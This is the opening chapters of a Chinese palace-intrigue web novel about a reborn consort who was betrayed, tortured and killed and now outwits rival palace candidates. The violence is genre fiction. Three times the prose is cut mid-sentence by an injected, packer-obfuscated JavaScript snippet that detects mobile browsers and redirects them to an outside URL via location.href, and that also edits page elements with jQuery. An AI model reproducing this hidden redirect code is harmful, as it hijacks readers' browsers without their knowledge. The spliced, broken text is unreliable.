《宫斗女配重生后》 1. 重生 李朝二十九年,新帝李徴登基,改年号为乾元。帝即位次年,元配皇后崔氏薨逝,掖庭空虚。 三年孝期过后,便由当朝太后主持,广开选秀,自民间、官家择适龄女子入宫,为皇家开枝散叶。 储秀宫东苑。 飞檐斗拱,雕栏画栋,处处彰显出皇室宫阁的华美威严。殿选通过的秀女们统一在此接受教养,最终遴选出一批合格的天家侍妾。 春夜漉湿,偶有啁哳虫鸣划破夜色的寂静。 内室床榻上,乔颂兰呼吸陡然变得急促。她双目紧闭,眉头紧锁,双手死死攥住身上的锦被,用力得指骨都凸起,几乎要将布料撕碎。双腿不住地挣扎,仿佛正经历着某种剧烈的痛苦。 突然,她猛地一颤,直挺挺从床上坐起身来。淋漓的冷汗几乎浸湿了中衣,颂兰双目失焦,眼神茫然地环顾着四周,大口大口地喘着粗气。 手中攥着的是做工粗糙的锦被,身下躺的是有些过硬的床板,这里不是阴暗的天牢,也不是奢丽的含章殿…… 这里是储秀宫! 颂兰惊魂未定,死死抱着锦被,瘦弱身躯在黑暗中不住颤抖。 这动静惊动了颂兰对床的秀女。温昭昭坐起身,悄声关切道:“兰妹妹,可是魇着了?” 同批入宫的秀女中,乔颂兰同温昭昭最是亲密。二人一同出身江南水乡,温昭昭善解人意,对性格懦弱的颂兰多有照拂。一来二去,乔颂兰便将温昭昭引为知己,如依赖家中长姐般依赖着温昭昭。 可就是这个处处对她关怀备至,温柔可亲的“昭姐姐”,将她的人生推入了万劫不复的深渊—— 闭上眼,乔颂兰仿佛又置身于冰冷潮湿的天牢。她已经在这待了数日,昔日美貌的脸上只留下三个空陷可怖的血洞。重刑之痛锥心刺骨,而她最孤苦无助的时候想的也不过是: 这副样子,裴郎见了,会吓着吧? 她的裴郎皎皎如明月,遇见他后,她无数次恨自己为何已嫁为天家妇:他是天上月,她却是地上的败柳残花。 在裴抒有意无意的暗示下,她愈发觉得自己的爱意不堪,直到那芝兰玉树的公子对她说: “兰儿,如今你已成了李朝最尊贵的女人。陛下信你,爱你,唯有你端去的酒,他才会毫无疑心地喝下。” 他塞给颂兰一个轻巧的纸包,里边装着南疆毒药,见血封喉。 “再为我做最后这一件事,往后你我之间便再无阻碍。陛下只给你皇贵妃之位,待我登基,我让你做皇后。” 她于是毫不犹豫,一杯毒酒,鸩杀了与她同床共枕十二年的皇帝。 裴抒宫变,她作为妖妃被打入天牢,受剜目拔舌之刑。最痛的时候她几欲就死,只靠念着裴抒那虚无缥缈的情誓,才支撑着她求活。 可她等来的却是凤冠霞帔的温昭昭。 温昭昭大抵穿得很华贵,佩环叮咚,身上脂粉的馥郁香气,甚至冲淡了周遭那浓得化不开的血腥臭气。同蜷在污秽草席上,宛如一只死老鼠的乔颂兰,对比鲜明。 昭姐姐的声音还是那么动听,“这不是李朝的皇贵妃娘娘吗,哦,不对,现在是罪妇乔氏了。你还不知道吧,裴郎已经许了我皇后之位,三日后,便是封后大典了。” 这话中的每个字她都懂,可连在一起,却组成了乔颂兰不懂的含义。颂兰在地上无助地挣扎起来,可她看不见温昭昭在哪个方向,无数想要问的话,也只能化作喉间呕哑的“啊啊”声。 温昭昭笑得猖狂肆意,再无半分从前知心姐姐的模样: “你竟还妄想他来娶你,谁会娶一个容颜尽毁、身躯残败的恶妇,又有哪朝哪代的天子,会迎一个满身污点的女子做皇后?你毒杀前朝皇帝,铁证如山,杀了你祭天,裴郎便能顺利无阻地登基上位,新朝是清君侧,顺天道——” 她语调陡然变得狠辣,一脚踹在乔颂兰心窝,“蠢妇,这些年来同你逢场作戏,每一次都叫他无比恶心。而我要看着自己的心上人同旁的女子眉来眼去,情意绵绵,听着贱人声声唤他‘裴郎’,你知不知道我又有多痛!” ——到头来,竟是“逢场作戏”。 他们挑中她,不过因为她空有美貌,却又家世寒微、懦弱愚蠢。 颂兰想到她与裴抒在月下赏画,裴抒说:“生生世世,将心萦系,穿过一条丝……” “噗哧”一声,颂兰只觉得心口一凉,温热的血,顺着她干枯的身体流下。想来应是温昭昭怒极,抓起身旁狱卒的剑便刺入她胸口。 耳畔一片嗡鸣,温昭昭犹不解气,大骂道: “贱人!死得这么轻易,真是便宜了你。我恨不能效仿妲己吕后,教你尝过虿盆人彘万般酷刑,方解我心头之恨!” 好奇怪啊,穿心之痛,她竟全无知觉。 这不值的一生如走马灯般滑过,颂兰想起那日皇帝嘴角蜿蜒而下的血迹,和死不瞑目的眼。 皇帝对她,即使不算情深,亦称得上义重。只是她终究辜负了他,辜负了这深宫中来之不易的、真正一点真心。 颂兰痛苦地想,若有来生…… 前世温昭昭那手持利剑,扭曲狰狞的模样,渐渐同眼前黑暗中这张清纯无害的脸重合。颂兰只觉得一瞬间所有血液都直冲头顶,胃中翻江倒海,令她险些呕吐。 那不是梦。她已死过一次,却又重活了! 温昭昭这条毒蛇,早在这时候便已在她身边蛰伏,一步步试探出了她愚蠢怯懦的本性,最终与裴抒一拍即合,将她引入了二人谋逆的天罗地网。 借着黑暗,乔颂兰勉强一笑,双手抚上小腹,扭捏道:“不妨事,大约是晚膳吃坏了肚子,一时间痛起来,吓着姐姐了。” 温昭昭还欲再说,可颂兰讲话时并未收声,已惊醒了同屋的梁淑女。 梁芳玉乃是从三品参军家的庶幺女,虽是庶出身份,可京中谁人不知梁府主母无所出,梁大人更是宠妾灭妻,把个庶女娇养得比旁人家的嫡小姐还金贵几分。 她在床上用力翻个身,不耐烦道:“作死么!大半夜的吵什么吵,若是耽搁了明日晨训,嬷嬷怪罪下来,便都滚回你们的穷乡僻壤去!” 颂兰登时咬紧双唇,弓起身体,只露出她惯常的怯弱神态。温昭昭见此情形,亦不再多话,只在黑暗中悄悄伸过手去,在颂兰的被褥上轻轻拍了一拍,以示关切。 颂兰压抑下胸中涌动的滔天恨意,既然老天垂怜,这一世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319002|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她定要让裴抒和温昭昭这对狗男女终成眷属。他们踩着她的骨血上位,她便要令其血债血偿,大梦一场空! …… 已经中选的秀女们统一称为“淑女”,在储秀宫中由教养嬷嬷统/一/教导宫礼、六艺、妃嫔德行等课程。 京中贵女幼承庭训,琴棋书画等技艺自小有西席教导,择有天资的一道专研专精。 至于入宫前的课程,不过走个过场,不少人便心生懈怠,虚应故事而已。 这一日才用过午膳回屋,梁芳玉便将一叠宣纸甩到乔颂兰跟前。 “我今日晨起便头痛得很,夫子布置的《寒梅图》,你替我作了吧。” 乔颂兰还未来得及回话,温昭昭便替她抢白道:“兰妹妹昨儿夜里腹痛难忍,一夜未得安眠。梁淑女怎能只顾自己,随意欺压旁人。” 说话间,梁氏已脱了绣鞋,舒舒服服地躺到了榻上——梁家豪富,她连身下铺的被褥都是特意从府里带进宫中,填满了上好的松江棉,暄软蓬松,比同屋乔颂兰和温昭昭的卧铺舒适百倍。 梁芳玉掀起眼皮,狠狠瞪了温昭昭一眼。 “我同乔淑女说话,有你插嘴的份么?你事事为她出头,是不是往后入宫侍寝,温淑女也要亲自上阵,同乔淑女一齐演个左右逢源啊?” 这话说得露骨,温昭昭就是心思再深沉,此时也不过是个年方二八的少女。登时面上臊得一红,却顾忌着自己温柔如水的人设,直气得说不出话来。 颂兰状若为难地看了温昭昭一眼,声若蚊讷,“姐姐安排,妹妹不敢不从。只是妹妹自小不曾学过丹青,昨日已经画了一幅雪地红梅,再作红梅图,怕是黔驴技穷,想不出甚么好主题了。” 梁芳玉到底自小受过六艺教养,不过略想了想便有了主意,“真是个蠢笨丫头,作不出红梅,作些绿梅、腊梅,应了题交差便可。我自家中带来的箱笼里有颜料,你自去取了便是。” 距离正式入宫愈近,储秀宫的众佳丽们心绪亦愈发躁动起来,虽面上仍维持着闺秀风范,心中皆不免动荡,开始期待起入宫初次受封的位分。 距离册封礼还有三日。这一日,淑女们正在学堂研习着《女诫》,教习总管钱嬷嬷却带了一个面生的姑姑进来。那姑姑穿着富丽,虽生着张和善面容,周身却透出久浸深宫的威严气派。 钱嬷嬷道:“这位是德妃娘娘宫中掌事萍姑姑。” 萍容眼神扫过下首端坐的淑女们,端起个和颜悦色的微笑。 “前些日子教画的徐夫子布置了《寒梅图》,德娘娘素喜丹青,便要了诸位小主的画作前去赏玩。其中有一幅绿梅图,清新雅致,格外出尘,娘娘尤其喜欢。不知是哪位小主所作,特意派奴婢来,给小主赏个彩头。” 淑女们上交的字画作业,大多只由夫子验看评讲一番便罢。而当日绘画课上徐夫子教的便是画红梅,事后大家多仿效课上所作。有部分人是不擅画作,作不出旁的,亦有心思深些的,懂得不掐尖出头的道理,即便能作会作,也只交一幅中庸作品。 一时间屋内的淑女们面面相觑,便见梁芳玉喜滋滋站起来道: “回姑姑,臣女梁氏,那绿梅图正是臣女所作。” 2. 绿梅 见有人认下了那画,萍容微微一笑,拍拍手,便有两个低眉顺眼的小黄门端着两只金镶玉嵌的匣子从外头进来。 萍容道:“梁小主才情卓越,自然当赏。” 说罢,她拍一拍手,小内监们便当着众淑女的面,掀开了盒盖子。 待看清匣中搁着的东西后,在场淑女们无不色变—— 上好的银丝软垫上,赫然是一对血迹斑斑的拶子! 萍姑姑仍端着那见人三分笑的善面,可说出来的话却教人发自内心胆寒: “德妃娘娘有桃花过敏之症,淑女梁氏竟在画作颜料中添加桃花汁子,戕害娘娘贵体。娘娘有旨:绿梅寡淡,不若添些浓色更加美观。梁小主既有一双巧手,娘娘便赏您以指尖血入画,为这春日添个十全十美的鲜艳意头。” 这是要废了梁氏的双手!拶刑残酷,虽不至要她性命,可从此之后也是个废人了,在深宫之中,一个残疾的嫔妃将永无出头之日。梁氏吓得抖如筛糠,几乎瘫坐在椅子上。萍姑姑带来的小内监走上前来,一左一右便要将她架走。梁芳玉奋力挣扎,突然回头恶狠狠望向颂兰的方向: “我父亲乃是当朝中书省参军,那画不是我画的!是乔氏!那贱婢害我,姑姑明察啊!” 萍姑姑面色微动,见梁芳玉说得指名道姓,不由得朝她手中所指的“乔氏”望去。 这一眼,不由得叫萍姑姑眉梢微挑。 座上端坐着个弱质纤纤的小娘子,此番被吓得面无人色,虽勉力维持着端坐仪态,可娇躯微微颤抖,仿若雨中飘摇的娇花。一双剪水眸中溢满惊慌,素唇紧抿,端的是我见犹怜。五官尚未完全长成,可那清丽的轮廓,已然隐隐显出几分未来天姿国色的风华。 此女绝非池中物——不过是瞬间的念头闪过,萍姑姑抬起手,制止了内监对梁氏的拖行。 “不过一幅画而已,小主却三/反四覆,出尔反尔。这画究竟是谁所作,奴婢再给您最后一次机会,梁小主可要好好想,好好说。否则牵累了储秀宫旁的小主们,便是陛下和太后娘娘也容不得您了。” 三言两语,已将梁氏托成了一个活靶子。恐怕今日她便是活着走出这间屋子,亦将成为秀女间人人唾弃的众矢之的。 梁氏惊魂未定,趴在地上犹自喘气,可话到嘴边,却哽住了: 若说是乔颂兰作的,那不摆明了她弄虚作假,欺压秀女么!可那拶子上的血迹吓得她几欲作呕。她一个闺阁千金,连杀只鸡鱼的场面都没见过,若是被上了刑,那便全完了!梁家…… 梁芳玉把心一横,正欲辩白,却听得身后一个娇怯女声颤巍巍道: “回姑姑,臣女便是与梁淑女同住的乔氏。那副绿梅,确是梁姐姐所作无疑。” 这贱人!梁芳玉大惊,回身过去死死盯着半跪在地上的乔颂兰,乔颂兰却连看也不看她,只专心盯着地上青石砖上镂刻的云纹。 “姐姐精于绘画,同住时常教导妹妹们,画之一道,写意重于塑形。是以在画中添入花汁,无非是求其气味幽微,能仿寒梅‘唯有暗香来’的意境罢了。恰逢春朝,姐姐寻不到梅花,才以储秀宫盛放的桃花替代。” 她抬头温然含笑,“梁小主与德妃娘娘母家乃是故交,梁姐姐亦曾对臣女们说自闺中便仰慕德娘娘风仪万千。况且淑女们日常作业只交予夫子研判,梁小主怎能未卜先知,料到画作能得娘娘青眼。此事不过巧合,臣女们素闻德妃娘娘治下宽仁,还请姑姑明鉴,饶恕梁姐姐无心之失吧。” 乔氏……萍姑姑盯着低眉顺眼跪着的乔颂兰,心中已有了决断。她肃容道: “老奴不过奉命行事,此事疑点颇多,娘娘亦不会平白无故冤了好人。不过娘娘贵体受损,纵使无心之过,亦需小惩大诫,以正宫规。” 颂兰忙道:“臣女愿与梁姐姐一道,抄写《药师琉璃光如来本愿经》百遍,以求娘娘贵体安康。” 萍姑姑意味深长道:“小主心有丘壑,奴婢自会将今日情状一一回禀德妃娘娘。” 说罢,招呼带来的几个小太监,一行人浩浩荡荡离了储秀宫。 梁芳玉劫后余生,脚步虚浮,一路踉踉跄跄回了居处。才一进屋,便扶着门框“哗啦啦”吐了一地。她刚想唤贴身婢子来收拾,突然记起这不是她的漱芳苑,而是红砖青瓦的储秀宫。 自小伴她长大的丫鬟们还在家中等她受封。她已经不是梁府那千娇万宠的娇小姐,在这座吃人的宫墙里,比她母族更有权势的上位者,要捏死她,比捏死一只蚂蚁还容易。 她刚抬头,却又是一愣:自己床上的铺盖不知什么时候被搬到了乔颂兰床上。而她榻上只扔着一团卷起的锦被,正是储秀宫标配的份例。梁芳玉正欲发作,坐在屋里的乔颂兰慢悠悠抬起头, “梁姐姐仔细些,莫要磕了碰了,若是落下残疾,往后在宫中,便艰难了。” 梁芳玉恨道:“你别得意!我不慎着了你的道,待入了宫,我……” 她话还没说完,却被兜头兜脸泼了一杯冷茶。颂兰不知什么时候已经走到她跟前,梁氏正要尖叫,颂兰只一抬手便掐住了她的脖颈,将那还未出口的尖叫生生扼在了喉间。 梁芳玉只觉得那双手力气大得惊人,乔颂兰还是那副柔柔弱弱的相貌,可她周身气质,却仿若地狱中杀出来的厉鬼, “你空有家室美貌,可在后宫中,但凡稍有些脑子的人,要你的命,易如反掌。” 梁淑女又惊又惧,泼在面上的茶水顺着发丝流下来,淌进眼眶里格外刺痛。耳畔,颂兰的声音含着一种不容置疑的蛊惑, “姐姐记住,是你感念我对你的搭救之恩,主动将被褥让给我的。那《药师琉璃光如来本愿功德经》你也自愿替我抄了。切记,不要在旁人……尤其是温姐姐跟前,露出什么马脚来。” …… 册立新进宫的小主,仪式并并不繁杂。将诸位小主们的位分依次列入封册,再由尚宫局的女官们向众人展示过镀银册,便算礼成了。 本届中选秀女一共八人,除却与乔颂兰同住一屋的温昭昭、梁芳玉外,还有徐氏、容氏、孙氏、林氏、吴氏五位佳丽。 其中,出身最高者乃是将门世家的徐氏音若,刚入宫便被封为贵人。其次便是都察院御史之女容氏,册为才人。 梁芳玉上辈子被封为才人,这一世却因为颂兰的插手,只得了与温昭昭一样的常在位分。 而孙氏、林氏、吴氏皆是州府选上来的良家子,出身寒微,都封为正九品采女——再往下,还有从九品官女子的位分,不过通常只会赐给贱籍宫女出身,被皇帝偶然临幸的女子。 “……总管内务府由敬事房抄出,奉旨:灵州知州乔任远十五岁女乔颂兰,淑慎性成,明达通敏,著封为从八品选侍,赐封号‘蕙’,赐居钟粹宫浣花坞,于四月廿八进内。钦此。” 位分,还是同上一世一般,却多出一个封号。温昭昭开心地迎上来,“兰妹妹,我们这批秀女中,唯独你被赐了封号,可见圣上对你爱重,我真替你开心。” 颂兰不由得在心中冷笑。圣上,怕是连她们这批人姓甚名谁都不大记得清了。 中宫势弱,本次选秀名义上是太后主理,实际上大小事务皆由代领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319003|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六宫的德妃操持。那日萍容领命,前来立威,颂兰行事出挑,一言一行,应是悉数落入德妃眼中了。 赐她个如此高调的封号,位分却又低微。若有些心思狭隘、眼皮子浅的人,少不了将颂兰视为眼中钉,借着身居高位给她使绊子。德妃手段,还是如前世那般,明枪明剑,却能实打实地教人吃亏。 在温昭昭跟前,颂兰还是做足怯懦情态,“妹妹不过得了个选侍位分,在官家女儿们中,是最低的。想来是妹妹资质愚钝,素日被嬷嬷们看在眼中的缘故。姐姐品貌才学皆是一流,往后在宫中还是要仰仗姐姐才是。” 温昭昭笑意柔婉,“若你还愚钝,那还有几个聪明人!” 她抬手抚了抚颂兰鬓发,探究的眼神不着痕迹地落在颂兰脸上。 “前几日你同萍姑姑回话,既条理分明又滴水不漏,我竟是个傻的,从前都没瞧出妹妹是这般的妙人儿。你如此资质,想来进了宫也定不会被埋没的。” 这是对她起了疑心,借机敲打呢。颂兰忍着恶心,卑微道: “姐姐折煞我了!我那日也慌极了,若不是梁……梁常在她攀咬出我,妹妹定不敢去做这个出头鸟的。” 虽说心中还有疑虑,但温昭昭也解释不了乔颂兰如何能算到德妃会拿走淑女们的画作欣赏,便压下思绪,又拣了旁的话头,牵起颂兰的手,姐姐妹妹地拉起家常来。 “此番入宫,你与梁常在同居钟粹宫,她素来不是个好相与的,若她还似之前那般随意欺辱你,你便来延禧宫找我,切莫自己吃亏。” 若在前世,颂兰听了这番话,必然十分感动。可历经十数载深宫浸淫,如今的颂兰只觉得可笑。 钟粹宫中小主不和,不禀明宫中主位,去别宫寻个常在主持公道,是将宫中的主子同规矩都视若无物么。 更何况“嫔妃不睦,德行有失”乃是后宫大忌,巴巴儿宣扬出去,往后她该如何在宫中立足?后宫诸人,只会觉得她乔颂兰是个离了温昭昭便无法独立行走的的狗腿子。 梁氏虽愚蠢张狂,可有句话说的却没错:难不成往后没了温昭昭,她乔颂兰便不能活么? 可面上,颂兰仍是作出感激涕零的样子,“姐姐对颂兰的好,颂兰都记在心上。” 在储秀宫收拾了箱笼细软,新秀们便三三两两前往各自受封的宫室。 按例,诸位小主都可以从家中携带两名陪嫁侍女。册封当日,京中贵女们的婢子早早便在毓祥门外等候,待册封礼成,便随小主进宫。 至于地方小户出身的秀女们,便往往没有这个条件了。除了温昭昭携了一个名唤真儿的侍婢外,其余人等都是独自入宫。 浣花坞的格局是颂兰熟悉的。分给末等宫嫔的居所狭陋陈旧,正厅便是一张餐桌,吃饭、读书、刺绣等一应活动,都只能在这张小桌上完成。内室一张简单的床榻,供人休息——嫔位以下的小主,是不够格请皇上留宿的。是以居处鄙陋些,也只是苦了这些命比纸薄的女子们。 颂兰一进殿,便见几个宫人哗啦啦跪了下来。为首的宫女太监叩首道: “奴婢浣花坞掌事宫女霜降,见过蕙选侍。给蕙选侍请安,小主万福金安。” “奴才浣花坞掌事太监安桂,见过蕙选侍。给蕙选侍请安,小主万福金安。” 除了霜降同安桂,还有两名侍奉茶水点心的小宫女心儿、莲儿,一名伺候梳头的宫女素儿。一名负责洒扫的太监小卓子。 颂兰取出荷包,正要给下人们分赏钱,就听得外边闹将起来。吵吵嚷嚷,中间夹杂着一道她熟悉的声音,和女子压抑的哭声。 3. 猫戏 钟粹宫中并无主位,原先只住了一位胡美人。此番新美入宫,便是颂兰同梁常在被分到钟粹宫,与胡美人作伴。 后宫之中,人际关系也是门大学问。而只要有权、有钱,便没有打听不到的消息。 不过,颂兰已是又活过一次的人,这后宫的女人同大事小事她早已烂熟于心,用不着花钱打探消息,便只将满满一袋赏钱尽数分给了自己宫里伺候的下人们。 毕竟眼下她还过得拮据,银两有限,每一分钱都要使在刀刃上。 浣花坞诸人自是喜笑颜开地谢恩。颂兰让众人平身,便唤了霜降,“你随我去瞧瞧外头何事喧哗。” 穿过一条笔直的垂花长廊,远远便看到梁常在正同一位身穿碧色宫装的女子争执。 梁芳玉大约是气得狠了,一张俏脸涨得通红。而她面前站着的两个丫头,正是她从梁府带进宫的红玉和绿珠。绿珠脚下放着一只竹制的鸟笼,样式十分精巧。 颂兰走近了才看到,那鸟笼里躺着一只漂亮的娇凤鹦鹉。通体翠绿,唯有头顶一点金黄,像是戴了顶金色的凤冠。 鸟儿羽毛柔顺根根分明,一看便知受到了主人精心的爱护,此刻却奄奄一息,躺在竹笼底部,从脖子处渗出些血迹,像是被什么东西咬断了颈。 绿珠是个嘴皮子厉害的丫头,此时也不顾仪态,撸起袖子,双手叉腰,骂道: “这鹦哥儿是老爷从陇西带回来的稀罕物,特意送给小姐赏玩的,不过在您的西配殿暂放了半日,便叫狸奴咬死了。您看不好自个儿的宠物,还不许我家小主说理了!” 那碧色宫装的女子不住垂泪,正是偏居钟粹宫东偏殿的胡美人。 胡氏乃是元孝皇后的陪嫁侍女,在潜邸时便伴驾左右。容色不过清秀,早就无宠,皇帝也只是念着旧情,登基后封了个美人位分,一年偶尔来看她两次罢了。 这些消息,即便蠢如梁氏,应当也靠着金钱的力量打探到了。是以胡美人的位分虽在梁氏之上,梁常在也并不把她放在眼中。 绿珠咄咄逼人,胡美人手中抱着一只毛发黄白相间的狸奴,也并不分辩,只是拼了命地把猫儿往怀里藏。 颂兰携着霜降走上前去,先是依着宫礼依次给两位小主请了安,“见过胡美人,见过梁常在。” 胡美人忙站起身来,依着礼数回了礼,梁常在却只是便别过脸去,抱着手臂哼了一声。 颂兰不以为忤,只是好声气地走上去,扯住梁常在的袖子,“梁姐姐,此事颇有古怪,您现在撒泼出气,也改变不了什么。万物有灵,不如先将鸟儿好好葬了,还它个安息。” 那只娇凤鹦鹉想来应确是梁常在的爱宠,一提到鸟儿的死,梁常在霎时便红了眼眶,“翠翠陪了我三年,连吃的米都是上好的珍珠米。眼下说没就没了,我怎能不气!” 颂兰弯下腰去,拾起了地上的竹笼。笼子上有一扇小门,可以开合,用于给鹦鹉投水喂食,只用一只精细的竹闩闩住。 颂兰沉声道:“姐姐细看。笼门是关好的,机关精致,需使巧劲才能开启。而鸟笼为了防止鸟儿逃跑,笼架很窄,连小鸟都飞不出去,何况体型胖大的狸奴。笼架没有被咬啮,翠翠身上的羽毛亦十分齐整,看不出与猫儿缠斗的痕迹,更像是……有人故意开了门,将鸟儿送到了猫跟前,才一击毙命。” 一旁的胡美人越听越紧张,终于不再装哑巴,脱口而出道:“我……” 梁氏是个暴脾气,当场便要去拉扯胡美人,“你是故意害我的翠翠!” 这个梁芳玉,真是不怕死!怪不得前世那么快便成了炮灰。颂兰扶额,赶忙拦住“女中豪杰”般的梁常在,“以下犯上,随意厮打嫔妃,梁姐姐是要为了一只鸟儿,置自己的前程和梁府上下于不顾么?” 提起自己的母家,梁常在终于是恢复了些许理智。她抽着鼻子,不忿道: “可她害了我的翠翠,难道就这么算了吗?一命换一命,即刻杀了这畜生,方解我恨!” 颂兰拦在梁常在身前,高声喊道:“不可!”又回身过去,凶狠地瞪着要上前去抢猫的红玉,“给我住手!” 她到底算个正经小主,红玉一时间倒也不敢轻举妄动。颂兰俯身贴近梁常在,用指甲在她手背狠狠掐了一掐。梁常在吃痛,眼眶霎时便盈了一泡泪。 颂兰轻声道:“姐姐吃过绿梅图的亏,还不长记性么?后宫中没有不长脑子的人,此事蹊跷,姐姐若只图眼前一时痛快,后头自然有苦头要吃!” 说罢,后退一步,扬声吩咐霜降:“去领些艾条回来,点着了,将钟粹宫各处都熏一熏。” 她笑盈盈横在两人中间,婉声道:“翠翠是梁姐姐的爱宠,这猫儿想必亦是胡姐姐的心尖宝贝,胡姐姐这才一时错了主意,想要包庇它。梁姐姐不若推己及人,饶这狸奴一命,不造杀孽,就当是为翠翠往生积福了。” 正说着,钟粹宫门口已是浩浩荡荡来了一行人。为首是个面白无须,身着青衣的太监,朝着几位小主拱手行礼道: “杂家是慈宁宫领侍清泰,见过各位小主。” 领侍乃是正儿八经的正二品内侍,见了九嫔以下位分的主子和小主均可不称“奴才”,以“杂家”自称。而慈宁宫领侍,便是太后身边掌权的宦官了。几人忙回道:“泰公公好。” 清泰眯起眼睛,眼神在四处扫了一扫,“杂家方才听到有人说甚么‘杀孽’,又见几位小主聚集在此,吵吵嚷嚷,不知所为何事啊?” 梁常在支支吾吾,颂兰忙端出个怯生生的笑,讨好道: “泰公公有所不知,梁姐姐从家中带了只娇凤鹦鹉来,本想着邀请钟粹宫的姐妹们都来赏赏这稀罕物,哪想到今儿掀了笼布一瞧,却是昨天夜里被耗子咬死了,便说那鼠造下杀孽,是顶顶坏的害人物。您瞧,咱们正吩咐了宫人,在各处洒扫熏艾,除鼠患呢。” 四周果然有几个小宫人,蒙着面,正燃着艾条熏屋子。清泰一甩拂尘,意味深长道: “嗯,那便好。太后娘娘虔心向佛,今儿个既是小主们进宫的好日子,亦是药王菩萨圣诞。奴才正领了太后娘娘的吩咐,给各宫主子们分发开过光的《妙法莲华经》。药王菩萨本愿拔众生苦、医众生病,若是哪个不长眼的奴才赶在今儿个造下杀孽,即便是一只鸟儿兔儿,教太后娘娘知晓了,定然是少不了一顿罚的。” 几人屈膝行礼,齐声道:“谢太后娘娘恩典,嫔妾定然谨遵太后教诲。” 送走了泰公公,梁常在转头便用阴沉的眼神望向胡美人和她手中抱着的那只猫——便是眼皮子再浅,到底是能被送进宫的小主,此刻已然回过了味。 胡美人眼神闪躲,只低着头,用手一下一下抚摸着白猫的长毛,并不与梁常在对视。 颂兰便吩咐绿珠:“将翠翠好生葬了罢。”拉着梁常在便回了浣花坞。 一进门,梁芳玉便捂着鼻子挥手道:“熏的艾草乌烟瘴气,臭死了。” 又环顾四周,嫌弃道:“这是你住的地方?也太……还不如梁府姨娘的住处!” 颂兰也不恼,只挨着桌子坐下,端起素儿上来的茶水,不紧不慢呷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319004|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口茶,“是啊,浣花坞鄙陋,妹妹位分低位,自然只配这样的居处。不比梁姐姐的福气,一入宫便得赐居钟粹宫主殿。虽不是一宫主位,却享了主位娘娘的福气。” 梁常在得意道:“那是自然。我父亲在前朝同德妃娘娘母家一条心,德娘娘主持选秀事宜,自然对我多有照拂……” 颂兰一时间真不知道梁常在是真蠢还是扮蠢。她冷冷道:“德妃娘娘协理六宫,素来铁拳铁腕铁石心肠。之前画作之事你已惹怒德妃,那日若不是我点明你父亲同楚家关系,你当萍姑姑会轻饶了你么?况且,论资历、位分,你样样不如胡美人,凭什么她住偏殿,你住正殿?” “她不过是婢女出身,自然不如我。” 颂兰冷笑,“正殿富丽堂皇,气派非凡,妹妹瞧着亦是眼热得很。姐姐可曾听过一句话:德不配位,必有灾殃。姐姐不若仔细想想德娘娘的用意,若她真心为你打算,明知你我曾有不清不楚的龃龉,为何偏偏派你与我同住一宫;又为何不封姐姐个贵人位分,让您在正殿住得名正言顺呢?” 前世没有颂兰插手,被封为才人的梁芳玉冲动之下,当场棒杀了胡美人的猫儿。打杀个畜生平日里不算大事,可这一幕正巧被前来送经书的泰公公撞见。冲撞了菩萨诞辰,太后震怒,当即便罚了梁氏在宫中思过三日。没过几个月,便被别的高位宫嫔寻了错处,降了位分,迁到远人的蘅芜馆思过了。 梁常在显然从未想到这层。她向来觉得自己有个争气的母家,便处处高人一等,一时张口结舌,说不出话来。颂兰抬手,让霜降送客,“能在后宫生存的女人,没有一个是省油的灯。姐姐若是还不长些记性,往后要栽的跟头还多着呢。” 次日一早,入宫的新人按例前去景阳宫晨省,拜见现在的六宫之主,元孝皇后的嫡亲胞妹崔皇后。 因是初次与六宫诸人见面,各宫小主都很重视这次觐见。霜降拿出一条天水碧裙子,“小主可要穿得低调些?” 颂兰拿了一对紫玉髓耳铛,在莹白的耳垂下比了比,“按选侍位分来,不逾矩即可。” 霜降伺候更衣,素儿替她梳头,不一会儿便将颂兰打扮停当。一袭紫绡珍珠绣兰花素罗裙,一头青丝挽成单螺髻,插了几只素雅宫花,几粒珍珠埋在发间,与裙子上的珠饰映衬。耳畔的紫玉髓耳坠浑圆精巧,虽不是名贵珠宝,举手投足间却有莹润光泽,有几分顾盼生辉的美感。 霜降笑道:“小主花容月貌,打扮得如此简素,仍不掩风姿呢。” 颂兰道:“我在储秀宫时曾替梁常在出头,已惹了众人注意,又是新人中唯一有封号的,今日就是穿得再低调也无用。” 霜降试探道:“小主仿佛很关心梁常在。” 颂兰扶着霜降的手起身,闻言回眸,只浅浅一笑,“我们这批秀女中,梁氏性子最是张扬。她活得越久,跳得越高,就越能吸引旁人的目光。越多人将矛头对准她,我们这些没有家世,也暂时没有恩宠的嫔妃,才更好夹缝中求生。” 霜降一愣,只见颂兰神色坦然,双目如古井无波,其中藏着霜降看不懂的深意。 霜降忙低了头,恭敬道:“小主远见,自然胜过奴婢许多。” 